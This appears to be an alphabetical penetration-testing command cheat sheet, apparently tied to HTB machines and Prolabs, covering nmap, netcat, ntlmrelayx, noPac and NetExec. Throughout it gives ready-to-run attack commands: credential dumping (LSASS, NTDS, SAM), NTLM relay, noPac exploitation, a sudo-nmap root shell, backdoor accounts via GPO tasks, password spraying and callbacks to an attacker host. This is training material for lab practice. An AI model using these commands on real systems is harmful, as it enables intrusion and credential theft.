mssqlclient.pyNTLM Relay Over MSSQL
Connect to MSSQL with impacket
proxychains -q mssqlclient.py <DOMAIN>/<USER>@<TARGET> -windows-auth -no-passPost-Enumeration
Connect to MSSQL with impacket
mssqlclient.py -windows-auth '<DOMAIN>/<USER>:<PASSWORD>@<TARGET>'Used on Breach
Using the Ticket with mssqlclient
Connect to MSSQL with impacket
mssqlclient.py -no-pass -k BREACHDC.<DOMAIN>Used on Breach
Connect to MSSQL
Connect to MSSQL with impacket
proxychains mssqlclient.py <USER>@<TARGET>Prolab Dante
mstsc
Open Remote Desktop in Restricted Admin mode
# basic
mstsc.exe# /restrictedAdmin
mstsc.exe /restrictedAdminnats
NATS CLI Enumeration
# account info
nats -s nats://<DOMAIN>:4222 account info --user <USER> --password <PASSWORD># stream find
nats stream find -s nats://<DOMAIN>:4222 --user <USER> --password <PASSWORD># stream view auth_logs
nats stream view auth_logs -s nats://<DOMAIN>:4222 --user <USER> --password <PASSWORD>nats-server
nc
Connect to a netcat listener
Connect to a port with netcat
nc -nv <TARGET><PORT_BEING_LISTENED_ON>Start a listener
Start a netcat listener
nc -lnvp <PORT>Prolab Dante, Zephyr notes, Prolab RastaLabs
NTLMrelaysx Use Cases
Connect to a port with netcat
nc -nv <TARGET> 11000Starts a netcat listener on a specified port
Start a netcat listener
sudo nc -lvnp <PORT>Send a file from Windows
Netcat connection
nc.exe <LHOST> <PORT> < <FILE>Prolab Dante
net
Show mounted shares
Map a network share
net useProlab RastaLabs
List the shares of a server
List hosts or shares
net view \\<TARGET> /allProlab RastaLabs
Show a domain user
Query or manage local/domain users
net user <USER> /domainProlab RastaLabs, Prolab Offshore
Stop a service
Stop or start a service
net stop <SERVICE>Prolab RastaLabs
Start a service
Stop or start a service
net start <SERVICE>Prolab RastaLabs
Add a user to Domain Admins
Query or manage groups
net group "Domain Admins" <USER> /add /domainProlab Offshore
Add a user to local administrators
Query or manage local groups
net localgroup administrators <USER> /addProlab Offshore
netlogon
Abusing Access Shared Folders
NETLOGONnetsh · Windows network shell
Retrieve saved wireless passwords
Show wireless profiles
netsh wlan show profile ilfreight_corp key=clearView saved wireless networks
Show wireless profiles
netsh wlan show profileAdd a portproxy rule (v4tov4)
Set up a port forward (portproxy)
netsh.exe interface portproxy add v4tov4 listenport=8080 listenaddress=<TARGET> connectport=3389 connectaddress=<TARGET>Show the v4tov4 portproxy rule
Set up a port forward (portproxy)
netsh.exe interface portproxy show v4tov4Port forward on Windows
Set up a port forward (portproxy)
netsh interface portproxy add v4tov4 listenaddress=0.0.0.0 listenport=<PORT> connectaddress=127.0.0.1 connectport=<PORT> protocol=tcpProlab Dante
netstat
Show the IPv4 routing table
List network connections and listening ports
netstat -rDisplay active network connections
List network connections and listening ports
netstat -anoShow active connections with process IDs
List network connections and listening ports
netstat -antpList TCP connections listening on port 1080
List network connections and listening ports
netstat -antb |findstr 1080new-adidnsnode
DNS Wildcard Injection
New adidnsnode
New-ADIDNSNode -Node * -domainController DC01.<DOMAIN> -Domain <DOMAIN> -Zone <DOMAIN> -Tombstone -Verbosenew-adserviceaccount
Create new gMSA account
New adservice account
New-ADServiceAccount -Name "apache-dev" -DNSHostName <DOMAIN> -PrincipalsAllowedToRetrieveManagedPassword htb-student-1 -Enabled $Truenew-gplink
GPO Attack (Child -> Parent)
New gplink
New-GPLink -Name "Backdoor" -Target $sitePath -Server dev.<DOMAIN>Link a GPO to an OU
New gplink
New-GPLink -Name TestGPO -Target "OU=TestOU,DC=<DOMAIN>,DC=<DOMAIN_PART>"new-gpo
Create a New GPO
New gpo
New-GPO -Name TestGPO -Comment "This is a test GPO."GPO Attack (Child -> Parent)
New gpo
New-GPO $gpoCreate and link a GPO
New gpo
New-GPO -Name <NAME> | New-GPLink -Target "<OU_DN>"Prolab RastaLabs
new-gpoimmediatetask
Create a scheduled task inside a GPO that adds a new user
Query or manage local/domain users
New-GPOImmediateTask -Verbose -Force -TaskName 'Backdoor' -GPODisplayName "Backdoor" -Command C:\Windows\System32\cmd.exe -CommandArguments "/c net user backdoor B@ckdoor123 /add"new-machineaccount
PowerMad command to create a machine account
New machine account
New-MachineAccount -MachineAccount "<ACCOUNT>" -Password <PASSWORD> -Domain <DOMAIN> -DomainController <DC_IP>Resource Based Constrained Delegation
New machine account
New-MachineAccount -MachineAccount <ACCOUNT> -Password (ConvertTo-SecureString '<PASSWORD>' -AsPlainText -Force)sAMAccountName Spoofing
New machine account
New-MachineAccount -MachineAccount <ACCOUNT> -Password <PASSWORD> -Domain <DOMAIN> -DomainController <TARGET> -Verbosenew-operator
Generating New Operator
New operator
new-operator -n htb -l <LHOST> -P allnewgrp
operator group enum
newgrp dockerNmap · Network scanner
Usage · GitHub · NSE scripts
adcs
Port scan with Nmap
proxychains4 nmap -sT -Pn -p 5985 <TARGET>Nmap
Service and version detection
# sudo -sV -sC
sudo nmap -sV -sC <TARGET># sudo -p-
sudo nmap -p- <TARGET># -sC -sC
nmap -sC -sC <TARGET># -sn /24
nmap -sn <TARGET>/24Used on Authority, Logging, Phantom, Redelegate +2
Nmap Scan
Service and version detection
# -sC -sV
nmap -sC -sV <TARGET># -A
nmap -A <TARGET># -sC -sV -Pn
nmap -sC -sV -Pn <TARGET>Used on Breach, LustrousTwo, Mirage, Reactor +3
Scan a forwarded port on localhost
Service and version detection
nmap -v -sV -p1234 localhostScan for open SSH and MySQL ports
Port scan with Nmap
nmap -sT -p22,3306 <TARGET>Performs a TCP scan on an internal host using Nmap
Port scan with Nmap
sudo proxychains -q nmap -sT -Pn <TARGET> --openScan a host list with -A and save the output
Port scan with Nmap
sudo nmap -v -A -iL hosts.txt -oN /home/<USER>/Documents/host-enumScan a subnet
Port scan with Nmap
nmap <TARGET>/24Nmap reference guide
Run an Nmap scan through proxychains
Port scan with Nmap
# -sn -200
proxychains nmap -v -sn <TARGET>-200# -Pn -sT
proxychains nmap -v -Pn -sT <TARGET>Scan through ligolo-ng
Service and version detection
nmap --unprivileged -sV <TARGET>Ligolo-ng docs
Scan the local ports of the agent
Service and version detection
nmap <IP> -sVLigolo-ng docs
Exclude a host
Port scan with Nmap
nmap <TARGET>/24 --exclude <HOST>Nmap reference guide
Exclude hosts from a file
Port scan with Nmap
nmap <TARGET>/24 --excludefile <FILE>Nmap reference guide
List targets without scanning
Port scan with Nmap
nmap -sL <TARGET>/24Nmap reference guide
Ping sweep without DNS
Port scan with Nmap
nmap -sn -n <TARGET>/24Nmap reference guide
ARP discovery
Port scan with Nmap
nmap -sn -PR <TARGET>/24Nmap reference guide
Discovery with TCP SYN ping
Port scan with Nmap
nmap -sn -PS22,80,443 <TARGET>/24Nmap reference guide
Discovery with TCP ACK ping
Port scan with Nmap
nmap -sn -PA80,443 <TARGET>/24Nmap reference guide
Discovery with UDP ping
Port scan with Nmap
nmap -sn -PU53 <TARGET>/24Nmap reference guide
Discovery with ICMP echo
Port scan with Nmap
nmap -sn -PE <TARGET>/24Nmap reference guide
Live hosts as a plain list
Port scan with Nmap
nmap -sn -oG - <TARGET>/24 | grep Up | cut -d" " -f2Nmap reference guide
Skip host discovery
Port scan with Nmap
nmap -Pn <TARGET>Nmap reference guide
No DNS resolution
Port scan with Nmap
nmap -n <TARGET>Nmap reference guide
TCP SYN scan
Port scan with Nmap
sudo nmap -sS <TARGET>Nmap reference guide
TCP connect scan
Port scan with Nmap
nmap -sT <TARGET>Nmap reference guide
UDP scan of the top ports
UDP port scan
sudo nmap -sU --top-ports 100 <TARGET>Nmap reference guide
UDP scan with version detection
UDP port scan
sudo nmap -sU -sV -p 53,69,123,161 <TARGET>Nmap reference guide
TCP ACK scan
Port scan with Nmap
sudo nmap -sA -p 80,443 <TARGET>Nmap reference guide
TCP window scan
Port scan with Nmap
sudo nmap -sW <TARGET>Nmap reference guide
TCP Maimon scan
Port scan with Nmap
sudo nmap -sM <TARGET>Nmap reference guide
TCP NULL scan
Port scan with Nmap
sudo nmap -sN <TARGET>Nmap reference guide
TCP FIN scan
Port scan with Nmap
sudo nmap -sF <TARGET>Nmap reference guide
TCP Xmas scan
Port scan with Nmap
sudo nmap -sX <TARGET>Nmap reference guide
IP protocol scan
Port scan with Nmap
sudo nmap -sO <TARGET>Nmap reference guide
Scan specific ports
Port scan with Nmap
nmap -p 22,80,443 <TARGET>Nmap reference guide
Scan a port range
Port scan with Nmap
nmap -p 1-1024 <TARGET>Nmap reference guide
Scan TCP and UDP ports together
UDP port scan
sudo nmap -sS -sU -p T:21-25,80,U:53,161 <TARGET>Nmap reference guide
Scan ports by service name
Port scan with Nmap
nmap -p http,https,ssh <TARGET>Nmap reference guide
Fast scan
Port scan with Nmap
nmap -F <TARGET>Nmap reference guide
Scan the top N ports
Port scan with Nmap
nmap --top-ports 1000 <TARGET>Nmap reference guide
Show only open ports
Port scan with Nmap
nmap --open <TARGET>Nmap reference guide
Version detection, light
Service and version detection
nmap -sV --version-light <TARGET>Nmap reference guide
Version detection, strong
Service and version detection
nmap -sV --version-intensity 9 <TARGET>Nmap reference guide
Version detection, all probes
Service and version detection
nmap -sV --version-all <TARGET>Nmap reference guide
OS detection
Port scan with Nmap
sudo nmap -O <TARGET>Nmap reference guide
OS detection, guess harder
Port scan with Nmap
sudo nmap -O --osscan-guess <TARGET>Nmap reference guide
OS detection only on good candidates
Port scan with Nmap
sudo nmap -O --osscan-limit <TARGET>/24Nmap reference guide
Fast timing template
Port scan with Nmap
nmap -T4 <TARGET>Nmap reference guide
Slow timing template
Port scan with Nmap
nmap -T1 <TARGET>Nmap reference guide
Limit the send rate
Port scan with Nmap
nmap --max-rate 100 <TARGET>Nmap reference guide
Stop slow hosts
Port scan with Nmap
nmap --host-timeout 5m <TARGET>/24Nmap reference guide
Fewer retries
Port scan with Nmap
nmap --max-retries 1 <TARGET>Nmap reference guide
Delay between probes
Port scan with Nmap
nmap --scan-delay 500ms <TARGET>Nmap reference guide
Default scripts
Port scan with Nmap
nmap -sC <TARGET>Nmap reference guide
Run one script
Run Nmap NSE scripts
nmap --script <SCRIPT> <TARGET>Nmap reference guide
Run scripts by pattern
Run Nmap NSE scripts
nmap --script "smb-*" <TARGET>Nmap reference guide
Run a script category
Run Nmap NSE scripts
nmap --script vuln <TARGET>Nmap reference guide
Safe default scripts only
Run Nmap NSE scripts
nmap --script "default and safe" <TARGET>Nmap reference guide
Exclude intrusive scripts
Run Nmap NSE scripts
nmap --script "not intrusive" <TARGET>Nmap reference guide
Pass arguments to a script
Run Nmap NSE scripts
nmap --script <SCRIPT> --script-args <KEY>=<VALUE> <TARGET>Nmap reference guide
Read a script's help
Run Nmap NSE scripts
nmap --script-help <SCRIPT>Nmap reference guide
Update the script database
Run Nmap NSE scripts
sudo nmap --script-updatedbNmap reference guide
Check for EternalBlue
Run Nmap NSE scripts
nmap -p 445 --script smb-vuln-ms17-010 <TARGET>Nmap reference guide
Enumerate SMB shares and users
Run Nmap NSE scripts
nmap -p 445 --script smb-enum-shares,smb-enum-users <TARGET>Nmap reference guide
Enumerate web directories
Run Nmap NSE scripts
nmap -p 80,443 --script http-enum <TARGET>Nmap reference guide
Check for anonymous FTP
Run Nmap NSE scripts
nmap -p 21 --script ftp-anon <TARGET>Nmap reference guide
Read the LDAP root DSE
Run Nmap NSE scripts
nmap -p 389 --script ldap-rootdse <TARGET>Nmap reference guide
Try a DNS zone transfer
Run Nmap NSE scripts
nmap -p 53 --script dns-zone-transfer --script-args dns-zone-transfer.domain=<DOMAIN> <TARGET>Nmap reference guide
List TLS ciphers
Run Nmap NSE scripts
nmap -p 443 --script ssl-enum-ciphers <TARGET>Nmap reference guide
Save normal output
Port scan with Nmap
nmap -oN <FILE> <TARGET>Nmap reference guide
Save XML output
Port scan with Nmap
nmap -oX <FILE>.xml <TARGET>Nmap reference guide
Save grepable output
Port scan with Nmap
nmap -oG <FILE> <TARGET>Nmap reference guide
Save all formats
Port scan with Nmap
nmap -oA <NAME> <TARGET>Nmap reference guide
Grep open ports from a scan
Port scan with Nmap
nmap -oG - <TARGET> | grep openNmap reference guide
Append to an output file
Port scan with Nmap
nmap -oN <FILE> --append-output <TARGET>Nmap reference guide
Resume an interrupted scan
Port scan with Nmap
nmap --resume <FILE>Nmap reference guide
Show why a port has its state
Port scan with Nmap
nmap --reason <TARGET>Nmap reference guide
Show every packet
Port scan with Nmap
sudo nmap --packet-trace <TARGET>Nmap reference guide
More verbose output
Port scan with Nmap
nmap -vv <TARGET>Nmap reference guide
List interfaces and routes
Port scan with Nmap
nmap --iflistNmap reference guide
Set a custom MTU
Port scan with Nmap
sudo nmap --mtu 24 <TARGET>Nmap reference guide
Use random decoys
Port scan with Nmap
sudo nmap -D RND:5 <TARGET>Nmap reference guide
Use chosen decoys
Port scan with Nmap
sudo nmap -D <DECOY1>,<DECOY2>,ME <TARGET>Nmap reference guide
Spoof the source address
Port scan with Nmap
sudo nmap -S <SOURCE_IP> -e <INTERFACE> -Pn <TARGET>Nmap reference guide
Use a fixed source port
Port scan with Nmap
sudo nmap -g 53 <TARGET>Nmap reference guide
Pad packets with random data
Port scan with Nmap
sudo nmap --data-length 25 <TARGET>Nmap reference guide
Randomize the target order
Port scan with Nmap
nmap --randomize-hosts <TARGET>/24Nmap reference guide
Spoof the MAC address
Port scan with Nmap
sudo nmap --spoof-mac 0 <TARGET>Nmap reference guide
Send bad checksums
Port scan with Nmap
sudo nmap --badsum <TARGET>Nmap reference guide
Scan through proxies
Port scan with Nmap
nmap --proxies <PROXY_URL> <TARGET>Nmap reference guide
Ping sweep of a subnet
Port scan with Nmap
nmap -sn -T4 <TARGET>/24 -oN active-hostsProlab Dante
Full TCP scan with scripts and versions
Service and version detection
nmap -T4 -sC -sV -p- --min-rate=1000 <TARGET>Prolab Dante
Scan through a SOCKS proxy
Service and version detection
proxychains nmap <TARGET> -sT -sV -Pn -T5Prolab Dante
Full TCP scan of a range, quiet
Scan all 65535 TCP ports
nmap -p- -sCV <TARGET>/24 -oA nmap/<NAME>-tcp-all -v -Pn -nProlab Cybernetics
Scan every host in a list
Scan all 65535 TCP ports
nmap -p- -sCV -iL <HOSTS_FILE> -oA nmap/<NAME> -vProlab Cybernetics
Scan from a pivot with a static binary
Scan all 65535 TCP ports
./nmap -Pn -T4 -p- <TARGET_RANGE> -vvProlab Zephyr
sudo nmap to root shell
Run Nmap NSE scripts
TF=$(mktemp)
echo 'os.execute("/bin/sh")' > $TF
sudo nmap --script=$TFProlab Zephyr
Scan through proxychains
Port scan with Nmap
proxychains4 -q nmap -sT -Pn <TARGET>ProxyChains-NG docs
nmap through proxychains
Port scan with Nmap
sudo nmap -sT -Pn <TARGET>/24Zephyr notes
nmap -sT -sV -sC
Service and version detection
sudo nmap -sT -Pn -sV -sC <TARGET>Zephyr notes
nopac
Exploit noPac and get a SYSTEM shell (-shell)
Exploit noPac (CVE-2021-42278 / CVE-2021-42287)
sudo python3 noPac.py <DOMAIN>/<USER>:<PASSWORD> -dc-ip <TARGET> -dc-host <HOST> -shell --impersonate <USER> -use-ldapExploit noPac and perform a DCSync
Exploit noPac (CVE-2021-42278 / CVE-2021-42287)
sudo python3 noPac.py <DOMAIN>/<USER>:<PASSWORD> -dc-ip <TARGET> -dc-host <HOST> --impersonate <USER> -use-ldap -dump -just-dc-user <DOMAIN>/administratorNoPac command to scan for vulnerability from Linux
Check a domain controller for noPac
python3 noPac/scanner.py -dc-ip <DC_IP> <DOMAIN>/<USER>:<PASSWORD> -use-ldapnslookup
Resolve a name with nslookup
nslookup ns1.<DOMAIN>nsupdate
ntlm_theft
Abusing Access Shared Folders
python3 ntlm_theft.py -g all -s <TARGET> -f '@myfile'Generate an HTML file with ntlm_theft
python3 ntlm_theft.py -g htm -s <TARGET_IP> -f <USER>ntlmrelayx.py · NTLM relay attacks (Impacket)
Abusing Access Shared Folders
Relay NTLM authentication to targets
ntlmrelayx.py -tf relayTargets.txt -smb2support -socksComputer Account Creation
Relay NTLM authentication to targets
# --no-da --no-acl --add-computer plaintext
sudo ntlmrelayx.py -t ldap://<TARGET> -smb2support --no-da --no-acl --add-computer 'plaintext$'# --escalate-user plaintext --no-dump -debug
sudo ntlmrelayx.py -t ldap://<TARGET> -smb2support --escalate-user 'plaintext$' --no-dump -debugDomain Enumeration
Relay NTLM authentication to targets
sudo ntlmrelayx.py -t ldap://<TARGET> -smb2support --no-da --no-acl --lootdir ldap_dumpRelay NTLM to the web enrollment URL
Relay NTLM authentication to targets
sudo ntlmrelayx.py -debug -smb2support --target http://<HOST>.<DOMAIN>/certsrv/certfnsh.asp --adcs --template DomainControllerKerberos RBCD Abuse
Relay NTLM authentication to targets
sudo ntlmrelayx.py -t ldaps://<DOMAIN>\\'SQL01$'@<TARGET> --delegate-access --escalate-user 'plaintext$' --no-smb-server --no-dumpNTLM Relay Over MSSQL
Relay NTLM authentication to targets
sudo ntlmrelayx.py -t mssql://<TARGET> -smb2support -socksNTLM Relay Over SMB
Relay NTLM authentication to targets
# basic
sudo ntlmrelayx.py -tf relayTargets.txt -smb2support# -c ping -n 1
sudo ntlmrelayx.py -tf relayTargets.txt -smb2support -c 'ping -n 1 <TARGET>'NTLMrelaysx Use Cases
Relay NTLM authentication to targets
# -tf relayTarget.txt
ntlmrelayx.py -tf relayTarget.txt# -tf relayTargets.txt -smb2support
ntlmrelayx.py -tf relayTargets.txt -smb2support -iRelay NTLM authentication to targets
sudo proxychains4 -q ntlmrelayx.py -tf relay.txt -smb2support --no-httpntlmrelayx Method
Relay NTLM authentication to targets
sudo ntlmrelayx.py -t http://<TARGET>/certsrv/certfnsh.asp -smb2support --adcs --template MachineShadow Credentials
Relay NTLM authentication to targets
ntlmrelayx.py -t <USER>:<PASSWORD>@<TARGET> --shadow-credentials --shadow-target <USER> --no-da --no-dump --no-acl --no-smb-serverntpdate
NetExec · Network service enumeration and exploitation
domain users
Enumerate domain users
nxc smb <TARGET> -u <USER> -p <PASSWORD> --usersUsed on Certified, Checkpoint · NetExec wiki
nxc smb --groups
Enumerate domain groups
# --groups
nxc smb <TARGET> -u <USER> -p <PASSWORD> --groups# --groups Administrators
nxc smb <TARGET> -u <USER> -p <PASSWORD> --groups Administratorsnxc smb --loggedon-users
NetExec SMB check/authentication
# basic
nxc smb <TARGET> -u <USER> -p <PASSWORD> --loggedon-users# --loggedon-users-filter julio
nxc smb <TARGET> -u <USER> -p <PASSWORD> --loggedon-users --loggedon-users-filter julionxc smb --shares
List SMB shares and your access level on each
# nxc
nxc smb <TARGET> -u <USER> -p <PASSWORD> --shares# proxychains4 -q nxc --local-auth
proxychains4 -q nxc smb <TARGET> -u <USER> -H '<NT_HASH>' --local-auth --sharesUsed on Checkpoint #1, Phantom #1, Authority, Checkpoint #2 +5 · NetExec wiki, Zephyr notes
nxc smb modules
Crawl all readable shares and list (or download) the files
# -M spider_plus
sudo nxc smb <TARGET> -u <USER> -p <PASSWORD> -M spider_plus --share Dev-share# -M gpp_autologin
nxc smb <TARGET> -u <USER> -p <PASSWORD> -M gpp_autologin# -M slinky
nxc smb <TARGET> -u <USER> -p <PASSWORD> -M slinky -o SERVER=<TARGET> NAME=important# -M slinky (4)
proxychains4 -q nxc smb <TARGET> -u <USER> -p <PASSWORD> -M slinky -o NAME=important CLEANUP=YES# -M drop-sc
proxychains4 -q nxc smb <TARGET> -u <USER> -p <PASSWORD> -M drop-sc -o CLEANUP=True FILENAME=secret# -M drop-sc (6)
nxc smb <TARGET> -u <USER> -p <PASSWORD> -M drop-sc -o URL=https://<TARGET>/testing FILENAME=@secret# -M webdav
nxc smb <TARGET> -u <USER> -p <PASSWORD> -M webdav# -M gpp_password
nxc smb <TARGET> -u <USER> -p <PASSWORD> -M gpp_password# -M spider_plus (9)
nxc smb <TARGET> -u <USER> -p <PASSWORD> -M spider_plus -o DOWNLOAD_FLAG=True# -M lsassy
nxc smb <TARGET> -u <USER> -p <PASSWORD> -M lsassy# -M procdump
nxc smb <TARGET> -u <USER> -p <PASSWORD> -M procdump# -M nanodump
nxc smb <TARGET> -u <USER> -p <PASSWORD> -M nanodump# -M rdp
nxc smb <TARGET> -u <USER> -p <PASSWORD> -M rdp -o ACTION=enable# -M Zerologon
nxc smb <TARGET> -M Zerologon# -M PetitPotam
nxc smb <TARGET> -M PetitPotam# -M nopac
nxc smb <TARGET> -u <USER> -p <PASSWORD> -M nopac# -M dfscoerce
nxc smb <TARGET> -u <USER> -p <PASSWORD> -M dfscoerce# -M enum_av
nxc smb <TARGET> -u <USER> -p <PASSWORD> -M enum_av# -M spooler
nxc smb <TARGET> -u <USER> -p <PASSWORD> -M spooler# -M zerologon
nxc smb <TARGET> -u '' -p '' -M zerologon# -M printnightmare
nxc smb <TARGET> -u '' -p '' -M printnightmare# -M smbghost
nxc smb <TARGET> -u '' -p '' -M smbghost# -M ms17-010
nxc smb <TARGET> -u '' -p '' -M ms17-010# -M coerce_plus
nxc smb <TARGET> -u '' -p '' -M coerce_plus# -M coerce_plus (25)
nxc smb <TARGET> -u '' -p '' -M coerce_plus -o METHOD=PetitPotam# -M spider_plus (26)
nxc smb <TARGET> -u <USER> -p <PASSWORD> -M spider_plus# -M ntdsutil
nxc smb <TARGET> -u <USER> -p <PASSWORD> -M ntdsutil# -M ntds-dump-raw
nxc smb <TARGET> -u <USER> -p <PASSWORD> -M ntds-dump-raw -o TARGET=<OBJECT># -M backup_operator
nxc smb <TARGET> -u <USER> -p <PASSWORD> -M backup_operatorNetExec wiki
list modules
NetExec SMB check/authentication
nxc smb -LNetExec wiki
wmi execute
Execute a command on the target
nxc wmi <TARGET> -u <USER> -p <PASSWORD> -x whoamiNetExec wiki
relay list
Save hosts with SMB signing disabled to a file: valid NTLM relay targets (ntlmrelayx, Responder)
nxc smb <TARGET>/24 --gen-relay-list relay.txtNetExec wiki
local pass the hash
NetExec SMB check/authentication
nxc smb <TARGET> -u <USER> -H <NT_HASH> --local-authNetExec wiki
dump NTDS one user
Dump domain hashes from NTDS.dit (needs domain admin)
nxc smb <TARGET> -u <USER> -p <PASSWORD> --ntds --user <USER>NetExec wiki
nxc ldap --admin-count
NetExec LDAP check/authentication
nxc ldap dc01.<DOMAIN> -u <USER> -p <PASSWORD> --admin-countasreproast authenticated
Get AS-REP hashes for accounts without Kerberos pre-authentication
nxc ldap <TARGET> -u <USER> -p <PASSWORD> --asreproast asreproast.outNetExec wiki
nxc ldap --bloodhound
NetExec LDAP check/authentication
nxc ldap <TARGET> -u <USER> -p <PASSWORD> --bloodhound -c All -d <DOMAIN> --dns-server <TARGET>nxc ldap --continue-on-success
NetExec LDAP check/authentication
nxc ldap <TARGET> -u <USER> -p <PASSWORD> -d <DOMAIN> -k --continue-on-successnxc ldap --get-sid
NetExec LDAP check/authentication
nxc ldap dc01.<DOMAIN> -u <USER> -p <PASSWORD> --get-sidnxc ldap --gmsa
NetExec LDAP check/authentication
nxc ldap <TARGET> -u <USER> -p <PASSWORD> --gmsaUsed on Fries
kerberoasting
Request service tickets for accounts with an SPN and save the hashes for cracking
nxc ldap <TARGET> -u <USER> -p <PASSWORD> --kerberoasting kerberoasting.outNetExec wiki
nxc ldap --password-not-required
NetExec LDAP check/authentication
nxc ldap dc01.<DOMAIN> -u <USER> -p <PASSWORD> --password-not-requirednxc ldap --trusted-for-delegation
NetExec LDAP check/authentication
nxc ldap dc01.<DOMAIN> -u <USER> -p <PASSWORD> --trusted-for-delegationnxc ldap --users
Enumerate domain users
nxc ldap dc01.<DOMAIN> -u <USER> -p <PASSWORD> --users --groupsnxc ldap modules
Run the NetExec module badsuccessor
# -M badsuccessor
nxc ldap <TARGET> -u <USER> -p <PASSWORD> -M badsuccessor# -M adcs
nxc ldap <TARGET> -u <USER> -p <PASSWORD> -M adcs# -M laps
nxc ldap dc01.<DOMAIN> -u <USER> -p <PASSWORD> -M laps# -M get-network
nxc ldap dc01.<DOMAIN> -u <USER> -p <PASSWORD> -M get-network -o ALL=true# -M daclread
nxc ldap <TARGET> -u <USER> -p <PASSWORD> -M daclread -o TARGET=<OBJECT> ACTION=read# -M maq
nxc ldap <TARGET> -u <USER> -p <PASSWORD> -M maq# -M get-desc-users
nxc ldap <TARGET> -u <USER> -p <PASSWORD> -M get-desc-users# -M modify-group
nxc ldap <TARGET> -u <USER> -p <PASSWORD> -M modify-group -o USER=<MEMBER> GROUP=<GROUP># -M pre2k
nxc ldap <TARGET> -u <USER> -p <PASSWORD> -M pre2k# -M shadow-creds
nxc ldap <TARGET> -u <USER> -p <PASSWORD> -M shadow-creds -o TARGET=<COMPUTER>$ ACTION=addUsed on Checkpoint · NetExec wiki
NetExec MSSQL check/authentication
nxc mssql <TARGET> -u <USER> -p <PASSWORD> -q "SELECT name FROM master.dbo.sysdatabases"NetExec wiki
mssql local auth
NetExec MSSQL check/authentication
nxc mssql <TARGET> -u <USER> -p <PASSWORD> --local-authUsed on Redelegate · NetExec wiki
nxc mssql --local-auth
NetExec MSSQL check/authentication
# -q SELECT name FROM
nxc mssql <TARGET> -u <USER> -p <PASSWORD> --local-auth -q "SELECT name FROM master.dbo.sysdatabases"# --put-file /etc/passwd C:/Users/Public/passwd
nxc mssql <TARGET> -u <USER> -p <PASSWORD> --local-auth --put-file /etc/passwd C:/Users/Public/passwd# --get-file C:/Windows/System32/drivers/etc/hosts h
nxc mssql <TARGET> -u <USER> -p <PASSWORD> --local-auth --get-file C:/Windows/System32/drivers/etc/hosts hostsmssql xp_cmdshell
Execute a command on the target
nxc mssql <TARGET> -u <USER> -p <PASSWORD> --local-auth -x whoamiNetExec wiki
nxc mssql modules
Check and escalate MSSQL privileges (impersonation, sysadmin)
# -M mssql_priv
nxc mssql <TARGET> -u <USER> -p <PASSWORD> -M mssql_priv -o ACTION=privesc# -M mssql_priv (2)
nxc mssql <TARGET> -u <USER> -p <PASSWORD> -M mssql_priv# -M enum_links
nxc mssql <TARGET> -u <USER> -p <PASSWORD> -M enum_links# -M exec_on_link
nxc mssql <TARGET> -u <USER> -p <PASSWORD> -M exec_on_link -o LINKED_SERVER=<LINKED_SERVER> COMMAND='select @@servername'# -M link_enable_cmdshell
nxc mssql <TARGET> -u <USER> -p <PASSWORD> -M link_enable_cmdshell -o LINKED_SERVER=<LINKED_SERVER> ACTION=enable# -M link_xpcmd
nxc mssql <TARGET> -u <USER> -p <PASSWORD> -M link_xpcmd -o LINKED_SERVER=<LINKED_SERVER> CMD='whoami'NetExec wiki
nxc rdp --nla-screenshot
NetExec RDP check/authentication
nxc rdp <TARGET> --nla-screenshotkerberos auth
NetExec SMB check/authentication
nxc smb <TARGET> -u <USER> -p <PASSWORD> -kUsed on Redelegate, Timelapse #1, Timelapse #2, Phantom +4 · NetExec wiki
scan
NetExec SMB check/authentication
nxc smb <TARGET>NetExec wiki
Execute a command on the target
nxc smb <TARGET> -u <USER> -p <PASSWORD> -x "C:\Windows\Temp\chisel.exe client <LHOST>:443 R:socks"execute powershell amsi
Execute a command on the target
nxc smb <TARGET> -u <USER> -p <PASSWORD> -X '$PSVersionTable' --amsi-bypass <PATH>NetExec wiki
nxc smb --computers
NetExec SMB check/authentication
nxc smb <TARGET> -u <USER> -p <PASSWORD> --computersspray one password
NetExec SMB check/authentication
nxc smb <TARGET> -u users.txt -p <PASSWORD> --continue-on-successUsed on Phantom · NetExec wiki
nxc smb --continue-on-success
NetExec SMB check/authentication
nxc smb <TARGET> -u <USER> grace david carlos -p <PASSWORD> Inlanefreight02! --continue-on-successnxc smb sweep
NetExec SMB check/authentication
proxychains4 -q nxc smb <TARGET>/24 -u <USER> -p <PASSWORD> --continue-on-successZephyr notes
nxc smb --disks
NetExec SMB check/authentication
nxc smb <TARGET> -u <USER> -p <PASSWORD> --disksnxc smb --generate-krb5-file
NetExec SMB check/authentication
nxc smb <TARGET> -u <USER> -p <PASSWORD> --generate-krb5-file krb5.confUsed on Logging, Breach, Fries, LustrousTwo +1
local auth
NetExec SMB check/authentication
nxc smb <TARGET> -u <USER> -p <PASSWORD> --local-authNetExec wiki
nxc smb --local-auth
Execute a command on the target
# -x reg add HKLM
nxc smb <TARGET> -u <USER> -p <PASSWORD> --local-auth -x "reg add HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\POLICIES\SYSTEM /V LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f"# -x whoami
nxc smb <TARGET> -u <USER> -p <PASSWORD> --local-auth -x whoamidump LSA
Dump LSA secrets (needs local admin)
nxc smb <TARGET> -u <USER> -p <PASSWORD> --lsaNetExec wiki
upload file
NetExec SMB check/authentication
nxc smb <TARGET> -u <USER> -p <PASSWORD> --put-file /tmp/<FILE> \\Windows\\Temp\\<FILE>NetExec wiki
rid brute
Enumerate users and groups by brute-forcing RIDs
nxc smb <TARGET> -u <USER> -p <PASSWORD> --rid-bruteUsed on Phantom, Timelapse, VulnCicada · NetExec wiki
dump SAM
Dump local SAM hashes (needs local admin)
nxc smb <TARGET> -u <USER> -p <PASSWORD> --samNetExec wiki
nxc smb --share
NetExec SMB check/authentication
# --share
nxc smb <TARGET> -u <USER> -p <PASSWORD> --share# --share IT --put-file /etc/passwd passwd
nxc smb <TARGET> -u <USER> -p <PASSWORD> --share IT --put-file /etc/passwd passwdnxc smb --spider
NetExec SMB check/authentication
# --spider
nxc smb <TARGET> -u <USER> -p <PASSWORD> --spider# --spider IT --regex .
nxc smb <TARGET> -u <USER> -p <PASSWORD> --spider IT --regex .nxc smb --users
Enumerate domain users
nxc smb <TARGET> -u <USER> -p <PASSWORD> --users --export $(pwd)/users.txtwinrm domain
NetExec WINRM check/authentication
nxc winrm <TARGET>/24 -u <USER> -p <PASSWORD> -d <DOMAIN>NetExec WMI check/authentication
nxc wmi <TARGET> -u <USER> -p <PASSWORD>spray user
NetExec SMB check/authentication
